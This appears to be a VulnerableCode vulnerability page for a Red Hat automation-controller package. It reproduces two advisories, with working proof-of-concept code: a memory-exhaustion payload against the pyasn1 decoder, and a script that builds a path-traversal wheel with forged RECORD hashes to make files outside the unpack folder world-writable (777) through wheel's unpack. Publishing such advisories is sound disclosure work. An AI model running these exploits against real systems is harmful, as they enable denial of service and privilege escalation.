VulnerableCode Package Details - pkg:rpm/redhat/automation-controller@4.7.9-1?arch=el9ap

Vulnerabilities affecting this package (2)

Vulnerability	Summary	Fixed by
VCID-bptp-5gn6-eucd Aliases: CVE-2026-23490 GHSA-63vm-454h-vhhq	pyasn1 has a DoS vulnerability in decoder ### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 2562: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 2563: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder.	There are no reported fixed by versions.
VCID-fm8w-bycx-4yex Aliases: CVE-2026-24049 GHSA-8rrh-rw8j-w5fx	Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack ### Summary - Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. - Root Cause Component: wheel.cli.unpack.unpack function. - Affected Packages: 1. wheel (Upstream source) 2. setuptools (Downstream, vendors wheel) - Severity: High (Allows modifying system file permissions). ### Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. ``` # Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile # (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.external_attr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions) ``` ### PoC I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. Prerequisites: pip install setuptools Step 1: Generate the Malicious Wheel (gen_poc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. ``` import zipfile import hashlib import base64 import os def urlsafe_b64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii') def get_hash_and_size(data_bytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(data_bytes).digest() hash_str = "sha256=" + urlsafe_b64encode(digest) return hash_str, str(len(data_bytes)) def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}") # 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payload_content = b"PWNED by Path Traversal" # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. malicious_path = "../../poc_target.txt" # 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheel_hash, wheel_size = get_hash_and_size(wheel_content) metadata_hash, metadata_size = get_hash_and_size(metadata_content) payload_hash, payload_size = get_hash_and_size(payload_content) # 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. record_lines = [ f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}", f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}", f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] record_content = "\n".join(record_lines).encode('utf-8') # 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content) zf.writestr("evil-1.0.dist-info/METADATA", metadata_content) zf.writestr("evil-1.0.dist-info/RECORD", record_content) # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(malicious_path) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.external_attr = (0o100000 \| 0o777) << 16 zf.writestr(zinfo, payload_content) print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.") if __name__ == "__main__": create_evil_wheel_v4() ``` Step 2: Run the Exploit (exploit.py) ``` from pathlib import Path import sys # Demonstrating impact on setuptools try: from setuptools._vendor.wheel.cli.unpack import unpack print("[] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[] Loaded unpack from wheel") # 1. Setup Target (Read-Only system file simulation) target = Path("poc_target.txt") target.write_text("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[] Initial Perms: {oct(target.stat().st_mode)[-3:]}") # 2. Run Vulnerable Unpack # The wheel contains "../../poc_target.txt". # unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpack_dest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}") # 3. Check Result final_perms = oct(target.stat().st_mode)[-3:] print(f"[] Final Perms: {final_perms}") if final_perms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.") ``` result: <img width="806" height="838" alt="image" src="https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db" /> ### Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. ### Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). ### Suggested Patch: ``` # extract() returns the actual path where the file was written extracted_path = wf.extract(zinfo, destination) # Only apply chmod if a file was actually written if extracted_path: permissions = zinfo.external_attr >> 16 & 0o777 Path(extracted_path).chmod(permissions) ```	There are no reported fixed by versions.

Next non-vulnerable version	None.
Latest non-vulnerable version	None.
Risk	4.0

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-04-16T13:38:39.100099+00:00	RedHat Importer	Affected by	VCID-fm8w-bycx-4yex	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24049.json	38.4.0
2026-04-08T19:21:00.001148+00:00	RedHat Importer	Affected by	VCID-fm8w-bycx-4yex	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24049.json	38.1.0
2026-04-01T13:32:34.988186+00:00	RedHat Importer	Affected by	VCID-bptp-5gn6-eucd	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23490.json	38.0.0
2026-04-01T13:32:23.285075+00:00	RedHat Importer	Affected by	VCID-fm8w-bycx-4yex	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24049.json	38.0.0